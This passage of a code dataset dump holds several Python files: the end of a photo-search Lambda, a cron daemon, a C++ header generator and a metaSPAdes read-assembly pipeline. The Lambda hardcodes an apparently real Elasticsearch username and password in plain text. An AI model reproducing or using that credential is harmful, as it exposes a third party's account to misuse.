keys[\"slots\"][\"second\"] != None:\n search.append(keys[\"slots\"][\"second\"])\n return search\n\n\ndef esSearch(search):\n photos = []\n for key in search:\n host = 'https://search-photos-noxataj4w45hp3ldltsc456nge.us-east-1.es.amazonaws.com'\n url = host + '/photos/_search?q=' + key\n headers = {'Content-Type' : 'application/json'}\n reply = requests.get(url, headers=headers, auth=(\"shihan\", \"Iamshihan1015@\")).json()\n for item in reply[\"hits\"][\"hits\"]:\n bucket = item[\"_source\"][\"bucket\"]\n key = item[\"_source\"][\"objectKey\"]\n photoURL = \"https://{0}.s3.amazonaws.com/{1}\".format(bucket,key)\n if photoURL not in photos:\n photos.append(photoURL)\n return photos\n ","sub_path":"search-photos/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"380306987","text":"#!/usr/bin/python3\n# 2016. 2. 29 by Hans Roh hansroh@gmail.com\n\nimport subprocess\nimport sys, os, getopt\nfrom aquests.lib import flock, pathtool, logger, confparse\nimport signal\nimport time\nimport glob\nimport threading\nfrom datetime import datetime\n\n\nEXIT_CODE = None\n\ndef hTERM (signum, frame):\t\t\t\n\tglobal EXIT_CODE\n\tEXIT_CODE = 0\n\ndef hHUP (signum, frame):\t\t\t\n\tglobal EXIT_CODE\n\tEXIT_CODE = 3\n\n\nclass\tCronManager:\t\n\tdef __init__ (self, config, logpath, varpath, consol):\n\t\tself.confn = config.fn\n\t\tself.logpath = logpath\n\t\tself.varpath = varpath\n\t\tself.consol = consol\n\t\tself.confmtime = 0\n\t\tself.last_maintern = 0\n\t\tself.flock = None\t\t\n\t\tself.jobs = []\n\t\tself.currents = {}\n\t\tself.setup ()\t\t\n\t\n\tdef maintern_shutdown_request (self, now):\n\t\tglobal EXIT_CODE\n\t\t\n\t\treq = self.flock.lockread (\"signal\")\n\t\tif not req: return\n\t\tself.logger (\"[info] got signal - %s\" % req)\n\t\tif req in (\"terminate\", \"shutdown\"):\n\t\t\tEXIT_CODE = 0\n\t\telif req == \"restart\":\n\t\t\tEXIT_CODE = 3\t\n\t\telif req == \"rotate\":\n\t\t\ttry: self.logger.rotate ()\n\t\t\texcept: self.logger.trace ()\n\t\telse:\n\t\t\tself.logger (\"[error] unknown signal - %s\" % req)\n\t\tself.flock.unlock (\"signal\")\n\t\n\tdef close (self):\n\t\tself.logger (\"[info] trying to kill childs...\")\n\t\tself.maintern (time.time (), kill = True)\n\t\tself.logger (\"[info] service cron stopped\")\n\t\n\tdef kill (self, pid, cmd):\n\t\tself.logger (\"[info] trying to kill pid:%d %s\" % (pid, cmd))\t\t\t\n\t\tif os.name == \"nt\":\n\t\t\timport win32api, win32con, pywintypes\n\t\t\ttry:\n\t\t\t\thandle = win32api.OpenProcess (win32con.PROCESS_TERMINATE, 0, pid)\n\t\t\t\twin32api.TerminateProcess (handle, 0)\n\t\t\t\twin32api.CloseHandle (handle)\n\t\t\t\t\n\t\t\texcept pywintypes.error as why:\n\t\t\t\tif why.errno != 87:\n\t\t\t\t\tself.logger (\"[error] failed killing job pid:%d %s\" % (pid, cmd))\n\t\t\t\t\t\n\t\telse:\n\t\t\tchild.kill ()\t\t\t\n\t\t\t\n\tdef maintern (self, current_time, kill = False):\n\t\tfor pid, (cmd, started, child) in list (self.currents.items ()):\t\t\t\n\t\t\trcode = child.poll ()\n\t\t\tdue = ((current_time - started) * 1000)\n\t\t\t\n\t\t\tif due > 60000:\n\t\t\t\tdue -= 60000\t\t\t\t\n\t\t\tif due > 120000:\n\t\t\t\tdue = \"%2.1f min\" % (due / 1000. / 60.,)\n\t\t\telif due > 1000:\n\t\t\t\tdue = \"%2.1f sec\" % (due / 1000.,)\n\t\t\telse:\n\t\t\t\tdue = \"%d ms\" % due\t\t\t\t\n\t\t\t\n\t\t\tif rcode is None:\n\t\t\t\tif kill:\n\t\t\t\t\t self.kill (pid, cmd)\t\t\t\t\t \n\t\t\t\t\t del self.currents [pid]\t\t\t\t\t \n\t\t\t\telse:\n\t\t\t\t\tself.logger (\"[info] job still running pid:%d for %s, %s\" % (pid, due, cmd))\n\t\t\t\tcontinue\n\t\t\t\n\t\t\tself.logger (\"[info] job has been finished pid:%d with rcode:%d for %s, %s\" % (pid, rcode, due, cmd))\n\t\t\tdel self.currents [pid]\n\t\tself.last_maintern = time.time ()\n\t\t\t\t\t\t\t\n\tdef run (self):\n\t\tself.logger (\"[info] service cron started\")\n\t\ttry:\n\t\t\ttry:\n\t\t\t\tself.loop ()\n\t\t\texcept:\n\t\t\t\tself.logger.trace ()\n\t\tfinally:\n\t\t\tself.close ()\t\t\n\t\n\tdef parse (self, unitd, umax = 60):\n\t\t#print (\"---\", unitd)\n\t\t\n\t\tif unitd == \"*\":\n\t\t\treturn []\n\t\t\t\t\t\t\n\t\ttry: \n\t\t\tunit, interval = unitd.split (\"/\", 1)\n\t\texcept ValueError:\n\t\t\tunit, interval = unitd, 0\n\t\telse:\n\t\t\tinterval = int (interval)\n\t\t\tif interval == 1 and unit in \"0*\":\n\t\t\t\treturn []\t\t\t\n\t\t\tif unit == \"*\":\n\t\t\t\tunit = \"0\"\t\t\t\t\t\t\t\t\n\t\t\tif interval > umax / 2.:\n\t\t\t\traise ValueError (\"interval %d is too big\" % interval)\n\t\t\n\t\tunits = {}\n\t\t_all = unit.split (\",\")\n\t\t_all_len = len (_all)\n\t\t\n\t\tfor subunit in _all:\n\t\t\tif subunit.find (\"-\") == -1:\n\t\t\t\tif interval == 0 or _all_len > 1:\n\t\t\t\t\tunits [int (subunit)] = None\n\t\t\t\telse:\t\n\t\t\t\t\tfor i in range (int (subunit), umax, interval):\n\t\t\t\t\t\tunits [i] = None\n\t\t\t\t\t\t\n\t\t\telse:\n\t\t\t\ta, b = subunit.split (\"-\", 1)\n\t\t\t\tif a == \"\":\n\t\t\t\t\ta = 0\n\t\t\t\telse:\n\t\t\t\t\ta = int (a)\n\t\t\t\tif b == \"\":\n\t\t\t\t\tb = umax\t\t\t\n\t\t\t\telse:\t\n\t\t\t\t\tb = int (b) + 1\n\t\t\t\tfor i in range (a, b, interval == 0 and 1 or interval):\n\t\t\t\t\tunits [i] = None\n\t\t\n\t\t# add sunday (0 or 7)\n\t\tif umax == 7 and 0 in units:\n\t\t\tdel units [0]\n\t\t\tunits [7] = None\n\t\t\t\n\t\tr = list (units.iterkeys ())\n\t\tr.sort ()\n\t\treturn r\n\t\n\tdef update_jobs (self):\n\t\tmtime = os.path.getmtime (self.confn)\n\t\t\n\t\tif self.confmtime != mtime:\n\t\t\tif self.confmtime:\n\t\t\t\tself.logger (\"[error] crontab updated, refreshing...\")\n\t\t\tself.jobs = []\t\t\t\t\n\t\t\tcf = confparse.ConfParse (self.confn)\n\t\t\tjobs = cf.getopt (\"crontab\")\n\t\t\tif not jobs: return\n\t\t\tfor args in jobs:\n\t\t\t\targs = args.split (\" \", 5)\n\t\t\t\tif len (args) != 6:\n\t\t\t\t\tself.logger (\"[error] invalid cron command %s\" % (args,))\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\ttry:\n\t\t\t\t\tjob = (\n\t\t\t\t\t\tself.parse (args [0], 60),\n\t\t\t\t\t\tself.parse (args [1], 24),\n\t\t\t\t\t\tself.parse (args [2], 31),\n\t\t\t\t\t\tself.parse (args [3], 12),\n\t\t\t\t\t\tself.parse (args [4], 7),\n\t\t\t\t\t\targs [5]\n\t\t\t\t\t)\t\t\t\t\t\n\t\t\t\t\n\t\t\t\texcept ValueError as why:\n\t\t\t\t\tself.logger (\"[error] %s, %s\" % (args [5], why))\n\t\t\t\t\tcontinue\t\n\t\t\t\t\t\n\t\t\t\texcept:\n\t\t\t\t\tself.logger.trace ()\n\t\t\t\t\tcontinue\t\n\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tself.jobs.append (job)\n\t\t\t\t\tself.logger (\"[info] job added %s\" % str (job))\n\t\t\t\t\t\n\t\tnow = datetime.now ().timetuple ()\t\n\t\tfor m, h, d, M, w, cmd in self.jobs:\t\t\t\n\t\t\tif M and now.tm_mon not in M:\n\t\t\t\tcontinue\n\t\t\tif w and now.tm_wday + 1 not in w:\n\t\t\t\tcontinue\n\t\t\tif d and now.tm_mday not in d:\n\t\t\t\tcontinue\t\n\t\t\tif h and now.tm_hour not in h:\n\t\t\t\tcontinue\n\t\t\tif m and now.tm_min not in m:\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tthreading.Thread (target = self.execute, args = (cmd,)).start ()\n\t\t\t\t\n\t\tself.confmtime = mtime\n\t\t\n\tdef setup (self):\n\t\tif self.consol:\n\t\t\tself.logger = logger.screen_logger ()\n\t\telse:\n\t\t\tself.logger = logger.rotate_logger (self.logpath, \"cron\", \"daily\")\n\t\t\n\t\tif os.name == \"nt\":\n\t\t\tself.flock = flock.Lock (os.path.join (self.varpath, \"lock\"))\n\t\t\tself.flock.unlockall ()\n\t\t\n\t\tif os.name != \"nt\":\n\t\t\tdef hUSR1 (signum, frame):\t\n\t\t\t\tself.logger.rotate ()\n\t\t\t\n\t\t\tsignal.signal(signal.SIGTERM, hTERM)\n\t\t\tsignal.signal(signal.SIGQUIT, hTERM)\n\t\t\tsignal.signal(signal.SIGHUP, hHUP)\n\t\t\n\tdef execute (self, cmd):\t\t\t\t\t\n\t\tif os.name == \"nt\":\n\t\t\tchild = subprocess.Popen (\n\t\t\t\tcmd, \n\t\t\t\t#shell = True, if true, can't terminate process bacuase run within cmd's child\n\t\t\t\tcreationflags=subprocess.CREATE_NEW_PROCESS_GROUP\n\t\t\t)\n\n\t\telse:\n\t\t\tchild = subprocess.Popen (\n\t\t\t\t\"exec \" + cmd, \n\t\t\t\tshell = True\n\t\t\t)\n\t\t\n\t\tself.logger (\"[info] job started with pid:%d %s\" % (child.pid, cmd))\n\t\tself.currents [child.pid] = (cmd, time.time (), child)\n\t\n\tdef loop (self):\n\t\tglobal EXIT_CODE\n\t\twhile 1:\n\t\t\tif EXIT_CODE is not None:\n\t\t\t\tbreak\n\t\t\tnow = time.time ()\t\n\t\t\tself.update_jobs ()\n\t\t\tself.maintern (now)\n\t\t\tfor i in range (60):\n\t\t\t\tif os.name == \"nt\" and i % 10 == 0:\n\t\t\t\t\tself.maintern_shutdown_request (now)\n\t\t\t\tif EXIT_CODE is not None:\n\t\t\t\t\tbreak\n\t\t\t\ttime.sleep (1)\n\t\t\n\t\t\ndef usage ():\n\t\tprint(\"\"\"\nUsage:\n\tskitaid-cron.py [options...]\n\nOptions:\n\t--log or -l: print log\n\t--verbose or -v\n\t--help or -h\n\nExamples:\n\tex. skitaid-cron.py -v\n\tex. skitaid-cron.py -l\n\t\"\"\")\n\n\nif __name__ == \"__main__\":\n\targopt = getopt.getopt(sys.argv[1:], \"hvl\", [\"help\", \"verbose\", \"log\"])\n\t_varpath = None\n\t_consol = False\n\t_log = False\n\t\n\tfor k, v in argopt [0]:\n\t\tif k == \"--log\" or k == \"-l\":\n\t\t\t_log = True\n\t\telif k == \"--verbose\" or k == \"-v\":\t\n\t\t\t_consol = True\n\t\telif k == \"--help\" or k == \"-h\":\t\n\t\t\tusage ()\n\t\t\tsys.exit ()\n\t\n\timport skitaid\n\t_config = skitaid.cf\n\t_varpath = os.path.join (skitaid.VARDIR, \"daemons\", \"cron\")\n\t_logpath = os.path.join (skitaid.LOGDIR, \"daemons\", \"cron\")\n\t\n\tif _log:\n\t\tskitaid.printlog (os.path.join (_logpath, \"cron.log\"))\n\t\tsys.exit (0)\n\t\t\n\tlck = flock.Lock (os.path.join (_varpath, \"lock\"))\n\tpidlock = lck.get_pidlock ()\n\t\n\tif pidlock.isalive ():\n\t\tprint(\"[error] already running\")\n\t\tsys.exit (1)\n\t\n\tpathtool.mkdir (_logpath)\n\tif not _consol: # service mode\n\t\tfrom aquests.lib import devnull\t\t\n\t\tsys.stdout = devnull.devnull ()\t\t\n\t\tsys.stderr = open (os.path.join (_logpath, \"stderr.log\"), \"a\")\n\t\n\tpidlock.make ()\n\tservice = CronManager (_config, _logpath, _varpath, _consol)\n\t\t\n\ttry:\n\t\tservice.run ()\n\tfinally:\t\n\t\tpidlock.remove ()\n\t\tif not _consol:\n\t\t\tsys.stderr.close ()\n\t\tsys.exit (EXIT_CODE)\n\t\t\n","sub_path":"skitaid/bin/skitaid-cron.py","file_name":"skitaid-cron.py","file_ext":"py","file_size_in_byte":7821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"141190657","text":"#!/usr/bin/env python\nimport sys\n\ndef func(n):\n str = \"Index(\"\n for i in range(n): str += \"size_t j{0},\".format(i)\n str = str[:-1] + \"):idx({0})\\n\".format(n)\n str += \"{\"\n for i in range(n): str += \"idx[{0}]=j{0};\".format(i)\n str += \"};\\n\"\n return str\n\nnum = 16 if len(sys.argv)<2 else int(sys.argv[1])\noutput = open('index_constructor.hpp', 'w')\n\noutput.write(\"\"\"\n#ifndef _INDEX_CONSTRUCTOR_HPP_\n#define _INDEX_CONSTRUCTOR_HPP_\n\n/*! @name\nThese constructors generated by @c index_constructor.py mimic the list literal of python.\nConstructors with more arguments exist but they are omitted from this document for simplicity.\n*/\n//! @{\n\"\"\")\n\nfor n in range(1,4): output.write( func(n) )\n\noutput.write(\"\"\"\n//! @cond\n\"\"\")\n\nfor n in range(4,num+1): output.write( func(n) )\n\noutput.write(\"\"\"\n//! @endcond\n\"\"\")\n\noutput.write(\"\"\"\n//! @}\n#endif // _INDEX_CONSTRUCTOR_HPP_\n\"\"\")\noutput.close()\n","sub_path":"src/mptensor/index_constructor.py","file_name":"index_constructor.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"598278832","text":"#!/usr/bin/python\n\"\"\"Assemble a set of reads with metaSPAdes.\"\"\"\n\nimport os\nimport sys\nimport time\nimport json\nimport uuid\nimport boto3\nimport shutil\nimport logging\nimport argparse\nimport traceback\nimport subprocess\nfrom Bio.SeqIO.FastaIO import SimpleFastaParser\nfrom helpers.io_helpers import truncate_fasta_headers\n\n\ndef run_cmds(commands, retry=0, catchExcept=False):\n \"\"\"Run commands and write out the log, combining STDOUT & STDERR.\"\"\"\n logging.info(\"Commands:\")\n logging.info(' '.join(commands))\n p = subprocess.Popen(commands,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n stdout, stderr = p.communicate()\n exitcode = p.wait()\n if stdout:\n logging.info(\"Standard output of subprocess:\")\n for line in stdout.split('\\n'):\n logging.info(line)\n if stderr:\n logging.info(\"Standard error of subprocess:\")\n for line in stderr.split('\\n'):\n logging.info(line)\n\n # Check the exit code\n if exitcode != 0 and retry > 0:\n msg = \"Exit code {}, retrying {} more times\".format(exitcode, retry)\n logging.info(msg)\n run_cmds(commands, retry=retry - 1)\n elif exitcode != 0 and catchExcept:\n msg = \"Exit code was {}, but we will continue anyway\"\n logging.info(msg.format(exitcode))\n else:\n assert exitcode == 0, \"Exit code {}\".format(exitcode)\n\n\ndef ena_url(accession):\n \"\"\"See https://www.ebi.ac.uk/ena/browse/read-download for URL format.\"\"\"\n url = \"ftp://ftp.sra.ebi.ac.uk/vol1/fastq\"\n folder1 = accession[:6]\n url = \"{}/{}\".format(url, folder1)\n if len(accession) > 9:\n if len(accession) == 10:\n folder2 = \"00\" + accession[-1]\n elif len(accession) == 11:\n folder2 = \"0\" + accession[-2:]\n elif len(accession) == 12:\n folder2 = accession[-3:]\n else:\n logging.info(\"This accession is too long: \" + accession)\n assert len(accession) <= 12\n url = \"{}/{}\".format(url, folder2)\n\n # Add the accession to the URL\n url = \"{}/{}/{}\".format(url, accession, accession)\n\n return url\n\n\ndef set_up_sra_cache_folder(temp_folder):\n \"\"\"Set up the fastq-dump cache folder within the temp folder.\"\"\"\n logging.info(\"Setting up fastq-dump cache within {}\".format(temp_folder))\n for path in [\n \"/root/ncbi\",\n \"/root/ncbi/public\"\n ]:\n if os.path.exists(path) is False:\n os.mkdir(path)\n\n if os.path.exists(\"/root/ncbi/public/sra\"):\n shutil.rmtree(\"/root/ncbi/public/sra\")\n\n # Now make a folder within the temp folder\n temp_cache = os.path.join(temp_folder, \"sra\")\n assert os.path.exists(temp_cache) is False\n os.mkdir(temp_cache)\n\n # Symlink it to /root/ncbi/public/sra/\n run_cmds([\"ln\", \"-s\", \"-f\", temp_cache, \"/root/ncbi/public/sra\"])\n\n assert os.path.exists(\"/root/ncbi/public/sra\")\n\n\ndef get_sra(accession, temp_folder):\n \"\"\"Get the FASTQ for an SRR accession via ENA (falling back to SRA).\"\"\"\n\n # Set up the SRA cache folder\n set_up_sra_cache_folder(temp_folder)\n\n # Download from ENA via FTP\n url = ena_url(accession)\n\n logging.info(\"Base info for downloading from ENA: {}\".format(url))\n # There are three possible file endings\n file_endings = [\"_1.fastq.gz\", \"_2.fastq.gz\", \".fastq.gz\"]\n # Try to download each file\n for end in file_endings:\n run_cmds([\"curl\",\n \"-o\", os.path.join(temp_folder, accession + end),\n url + end], catchExcept=True)\n\n # Local paths for each of the three possible file endings\n r0_fp = \"{}/{}{}\".format(temp_folder, accession, \".fastq.gz\")\n r1_fp = \"{}/{}{}\".format(temp_folder, accession, \"_1.fastq.gz\")\n r2_fp = \"{}/{}{}\".format(temp_folder, accession, \"_2.fastq.gz\")\n\n # If the forward and reverse reads were downloaded, return that pair\n if os.path.exists(r1_fp) and os.path.exists(r2_fp):\n # Return a tuple of filepaths, and a bool indicating paired-end reads\n logging.info(\"Both forward and reverse reads were found\")\n return (r1_fp, r2_fp), True\n # If the file was downloaded with no _1/_2, return that\n elif os.path.exists(r0_fp):\n logging.info(\"Only a single set of unpaired reads were found\")\n return r0_fp, False\n # Hedging against oddly incomplete data, return either R1 or R2, if alone\n elif os.path.exists(r1_fp):\n logging.info(\"Only a single set of unpaired reads were found\")\n return r1_fp, False\n elif os.path.exists(r2_fp):\n logging.info(\"Only a single set of unpaired reads were found\")\n return r2_fp, False\n\n # If none of those URLs downloaded, fall back to trying NCBI\n logging.info(\"No data was found on ENA, falling back to SRA\")\n run_cmds([\n \"prefetch\", accession\n ])\n run_cmds([\n \"fastq-dump\",\n \"--split-files\",\n \"--outdir\",\n temp_folder, accession])\n\n # Local paths for each of the three possible file endings\n r0_fp = \"{}/{}{}\".format(temp_folder, accession, \".fastq\")\n r1_fp = \"{}/{}{}\".format(temp_folder, accession, \"_1.fastq\")\n r2_fp = \"{}/{}{}\".format(temp_folder, accession, \"_2.fastq\")\n\n # If the forward and reverse reads were downloaded, return that pair\n if os.path.exists(r1_fp) and os.path.exists(r2_fp):\n # Return a tuple of filepaths, and a bool indicating paired-end reads\n logging.info(\"Both forward and reverse reads were found\")\n return (r1_fp, r2_fp), True\n # If the file was downloaded with no _1/_2, return that\n elif os.path.exists(r0_fp):\n logging.info(\"Only a single set of unpaired reads were found\")\n return r0_fp, False\n # Hedging against oddly incomplete data, return either R1 or R2, if alone\n elif os.path.exists(r1_fp):\n logging.info(\"Only a single set of unpaired reads were found\")\n return r1_fp, False\n elif os.path.exists(r2_fp):\n logging.info(\"Only a single set of unpaired reads were found\")\n return r2_fp, False\n\n # If no files were downloaded, throw an error\n msg = \"File could not be downloaded from SRA: {}\".format(accession)\n raise Exception(msg)\n\n\ndef get_reads_from_url(input_str, temp_folder, interleaved=False):\n \"\"\"Get a set of reads from a URL -- return the downloaded filepath.\"\"\"\n logging.info(\"Getting reads from {}\".format(input_str))\n\n filename = input_str.split('/')[-1]\n local_path = os.path.join(temp_folder, filename)\n\n logging.info(\"Filename: \" + filename)\n logging.info(\"Local path: \" + local_path)\n\n if not input_str.startswith(('s3://', 'sra://', 'ftp://')):\n logging.info(\"Treating as local path\")\n msg = \"Input file does not exist ({})\".format(input_str)\n assert os.path.exists(input_str), msg\n logging.info(\"Making symbolic link in temporary folder\")\n os.symlink(input_str, local_path)\n return local_path, interleaved\n\n # Get files from AWS S3\n if input_str.startswith('s3://'):\n logging.info(\"Getting reads from S3\")\n run_cmds([\n 'aws', 's3', 'cp', '--quiet', '--sse',\n 'AES256', input_str, temp_folder\n ])\n\n # Get files from an FTP server\n elif input_str.startswith('ftp://'):\n logging.info(\"Getting reads from FTP\")\n run_cmds(['wget', '-P', temp_folder, input_str])\n\n # Get files from SRA\n elif input_str.startswith('sra://'):\n accession = filename\n logging.info(\"Getting reads from SRA: \" + accession)\n local_path, interleaved = get_sra(accession, temp_folder)\n\n # If a set of paired end data was found in SRA, the `local_path`\n # will be a tuple of two files, and `interleaved` will be true.\n # In all other circumstances, when `interleaved` is true, `local_path`\n # will represent the location of a single interleaved file\n\n else:\n raise Exception(\"Did not recognize prefix to fetch reads: \" + input_str)\n\n return local_path, interleaved\n\n\ndef return_results(out, sample_name, output_folder, temp_folder):\n \"\"\"Write out the final results as a JSON object and write them to the output folder.\"\"\"\n\n # Keep a list of files that need to be copied\n to_copy = []\n\n # Make a temporary file for the JSON format data\n json_temp_fp = os.path.join(temp_folder, sample_name + '.metaspades.json')\n # Remember to copy this file\n to_copy.append(json_temp_fp)\n # Open up the file handle\n with open(json_temp_fp, 'wt') as fo:\n # Write out the JSON data\n json.dump(out, fo)\n\n # Write out the sequences and annotations as their own files\n for entry_name, file_ending in [\n (\"contigs\", \"fasta\"),\n ]:\n # Make a file path\n temp_fp = os.path.join(temp_folder, sample_name + '.' + file_ending)\n # Remember to copy the file\n to_copy.append(temp_fp)\n # Open up the file path\n with open(temp_fp, \"wt\") as fo:\n # Write out each item in this list\n for item in out[\"results\"][entry_name]:\n # Write out the contigs and proteins in FASTA format\n if entry_name in [\"contigs\", \"proteins\"]:\n header, seq = item\n fo.write(\">{}\\n{}\\n\".format(header, seq))\n # Everything else is written out straight\n else:\n fo.write(item)\n\n # Compress each of the files with GZIP\n for fp in to_copy:\n run_cmds(['gzip', fp])\n to_copy = [s + \".gz\" for s in to_copy]\n\n # Write to S3\n if output_folder.startswith('s3://'):\n for fp in to_copy:\n run_cmds([\n 'aws', 's3', 'cp',\n '--quiet', '--sse', 'AES256',\n fp, output_folder\n ])\n os.unlink(fp)\n # Copy to a local folder\n else:\n # Copy to local folder\n for fp in to_copy:\n run_cmds(['mv', fp, output_folder])\n\n\ndef run_metaspades(input_str,\n sample_name,\n output_folder,\n threads=16,\n max_mem=240,\n temp_folder='/mnt/temp',\n overwrite=False,\n phred_offset=33,\n interleaved=False):\n \"\"\"Assemble a set of reads using metaSPAdes.\"\"\"\n\n assert phred_offset in [33, 64], \"PHRED offset must be 33 or 64\"\n\n # Record the start time\n start_time = time.time()\n\n # Check to see if the output already exists, if so, skip this sample\n output_fp = output_folder.rstrip('/') + '/' + sample_name + '.json.gz'\n if output_fp.startswith('s3://'):\n # Check S3\n logging.info(\"Ensure that the output path doesn't already exist on S3\")\n bucket = output_fp[5:].split('/')[0]\n prefix = '/'.join(output_fp[5:].split('/')[1:])\n client = boto3.client('s3')\n results = client.list_objects(Bucket=bucket, Prefix=prefix)\n if 'Contents' in results:\n if overwrite:\n logging.info(\"Overwriting output ({})\".format(output_fp))\n else:\n logging.info(\n \"Output already exists, skipping ({})\".format(output_fp))\n return\n else:\n # Check local filesystem\n if os.path.exists(output_fp):\n if overwrite:\n logging.info(\"Overwriting output ({})\".format(output_fp))\n else:\n logging.info(\n \"Output already exists, skipping ({})\".format(output_fp))\n return\n\n # Get the reads\n read_fp, interleaved = get_reads_from_url(\n input_str,\n temp_folder,\n interleaved=interleaved\n )\n\n # If a set of paired end data was found in SRA, the `local_path`\n # will be a tuple of two files, and `interleaved` will be true.\n # In all other circumstances, when `interleaved` is true, `local_path`\n # will represent the location of a single interleaved file\n\n logging.info(\"\")\n logging.info(\"\")\n logging.info(\"Running metaSPAdes\")\n logging.info(\"\")\n logging.info(\"\")\n # Check for paired-end data\n if interleaved:\n logging.info(\"Paired-end information present\")\n if isinstance(read_fp, tuple):\n logging.info(\"Two separate files for forward and reverse reads\")\n # TWO PAIRED END READ FILES\n r1_fp, r2_fp = read_fp\n run_cmds([\n \"metaspades.py\",\n \"-1\", r1_fp, # Forward read\n \"-2\", r2_fp, # Reverse read\n \"-o\", temp_folder, # Output folder\n \"-t\", str(threads), # Threads\n \"--phred-offset\", # PHRED offset, 33 or 64\n str(phred_offset),\n \"-m\", str(max_mem) # Maximum memory used\n ])\n else:\n logging.info(\"Single file, interleaved forward and reverse reads\")\n # ONE INTERLEAVED READ FILE\n run_cmds([\n \"metaspades.py\",\n \"--12\", read_fp, # Interleaved forward and reverse reads\n \"-o\", temp_folder, # Output folder\n \"-t\", str(threads), # Threads\n \"--phred-offset\", # PHRED offset, 33 or 64\n str(phred_offset),\n \"-m\", str(max_mem) # Maximum memory used\n ])\n else:\n logging.info(\"Single file, unpaired reads\")\n # ONE SINGLE-END READ FILE\n # NOTE: MetaSPAdes does not currently work with single-end data\n # Therefore falling back to SPAdes\n run_cmds([\n \"spades.py\",\n \"-s\", read_fp, # Single-end reads file\n \"-o\", temp_folder, # Output folder\n \"-t\", str(threads), # Threads\n \"--phred-offset\", # PHRED offset, 33 or 64\n str(phred_offset),\n \"-m\", str(max_mem) # Maximum memory used\n ])\n logging.info(\"Done with assembly\")\n\n # Make sure the output file exists (assembled scaffolds)\n scaffold_fp = os.path.join(temp_folder, \"scaffolds.fasta\")\n assert os.path.exists(scaffold_fp)\n logging.info(\"Scaffolds written to {}\".format(scaffold_fp))\n\n # Truncate the contig headers, modifying file in place\n truncate_fasta_headers(scaffold_fp, 37)\n\n # Read in the logs\n logging.info(\"Reading in the logs\")\n logs = open(log_fp, 'rt').readlines()\n spades_logs = {}\n for k, fp in [\n (\"logs\", \"spades.log\"),\n (\"params\", \"params.txt\"),\n (\"warnings\", \"warnings.log\")\n ]:\n fp = os.path.join(temp_folder, fp)\n if os.path.exists(fp):\n spades_logs[k] = open(fp, \"rt\").readlines()\n\n # Collect the results\n logging.info(\"Parsing the output\")\n with open(scaffold_fp, \"rt\") as f:\n output = {\n \"contigs\": [r for r in SimpleFastaParser(f)]\n }\n\n # Make an object with all of the results\n out = {\n \"input_path\": input_str,\n \"input\": sample_name,\n \"output_folder\": output_folder,\n \"logs\": logs,\n \"results\": output,\n \"spades_logs\": spades_logs,\n \"time_elapsed\": time.time() - start_time\n }\n\n # Write out the final results as a JSON object\n # and copy them to the output folder\n return_results(out, sample_name, output_folder, temp_folder)\n logging.info(\"Done\")\n logging.info(\"\")\n logging.info(\"\")\n logging.info(\"----------------------\")\n logging.info(\"\")\n logging.info(\"\")\n\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"\"\"\n Assemble a set of reads using metaSPAdes.\n \"\"\")\n\n parser.add_argument(\"--input\",\n type=str,\n required=True,\n help=\"\"\"Location for input file(s). Comma-separated.\n (Supported: sra://, s3://, or ftp://).\"\"\")\n parser.add_argument(\"--sample-name\",\n type=str,\n required=True,\n help=\"\"\"Prefix for output files.\"\"\")\n parser.add_argument(\"--output-folder\",\n type=str,\n required=True,\n help=\"\"\"Folder to place results.\n (Supported: s3://, or local path).\"\"\")\n parser.add_argument(\"--interleaved\",\n default=\"False\",\n type=str,\n help=\"\"\"Treat input as interleaved by default \\\n (ignored for SRA datasets) (True / False).\"\"\")\n parser.add_argument(\"--overwrite\",\n action=\"store_true\",\n help=\"\"\"Overwrite output files. Off by default.\"\"\")\n parser.add_argument(\"--threads\",\n type=int,\n default=16,\n help=\"Number of threads to use assembling.\")\n parser.add_argument(\"--max-mem\",\n type=int,\n default=240,\n help=\"Maximum memory to use (in Gb).\")\n parser.add_argument(\"--temp-folder\",\n type=str,\n default='/share',\n help=\"Folder used for temporary files.\")\n\n args = parser.parse_args()\n\n # Convert 'interleaved' to a bool\n assert args.interleaved in [\"True\", \"False\"], \"--interleaved must be True or False\"\n args.interleaved = args.interleaved == \"True\"\n\n # Check that the temporary folder exists\n assert os.path.exists(args.temp_folder)\n\n # Make sure the output folder ends with \"/\"\n if args.output_folder.endswith(\"/\") is False:\n args.output_folder = args.output_folder + \"/\"\n\n # Set a random string, which will be appended to all temporary files\n random_string = str(uuid.uuid4())[:8]\n\n # Make a temporary folder within the --temp-folder with the random string\n temp_folder = os.path.join(args.temp_folder, str(random_string))\n # Make sure it doesn't already exist\n msg = \"Collision, {} already exists\".format(temp_folder)\n assert os.path.exists(temp_folder) is False, msg\n # Make the directory\n os.mkdir(temp_folder)\n\n # Set up logging\n log_fp = '{}/log.txt'.format(temp_folder)\n logFormatter = logging.Formatter('%(asctime)s %(levelname)-8s [run_metaspades.py] %(message)s')\n rootLogger = logging.getLogger()\n rootLogger.setLevel(logging.INFO)\n\n # Write to file\n fileHandler = logging.FileHandler(log_fp)\n fileHandler.setFormatter(logFormatter)\n rootLogger.addHandler(fileHandler)\n # Also write to STDOUT\n consoleHandler = logging.StreamHandler()\n consoleHandler.setFormatter(logFormatter)\n rootLogger.addHandler(consoleHandler)\n\n for input_str in args.input.split(','):\n logging.info(\"Processing input argument: \" + input_str)\n # Make a new temp folder for just this sample\n sample_temp_folder = os.path.join(temp_folder, str(uuid.uuid4())[:8])\n os.mkdir(sample_temp_folder)\n # Capture in a try statement\n try:\n run_metaspades(input_str,\n args.sample_name,\n args.output_folder,\n threads=args.threads,\n max_mem=args.max_mem,\n temp_folder=sample_temp_folder,\n overwrite=args.overwrite,\n interleaved=args.interleaved)\n logging.info(\"Deleting temp folder {}\".format(sample_temp_folder))\n shutil.rmtree(sample_temp_folder)\n except:\n # There was some error\n # Capture the traceback\n logging.info(\"There was an unexpected failure\")\n exc_type, exc_value, exc_traceback = sys.exc_info()\n for line in traceback.format_tb(exc_traceback):\n logging.info(line)\n\n # Delete 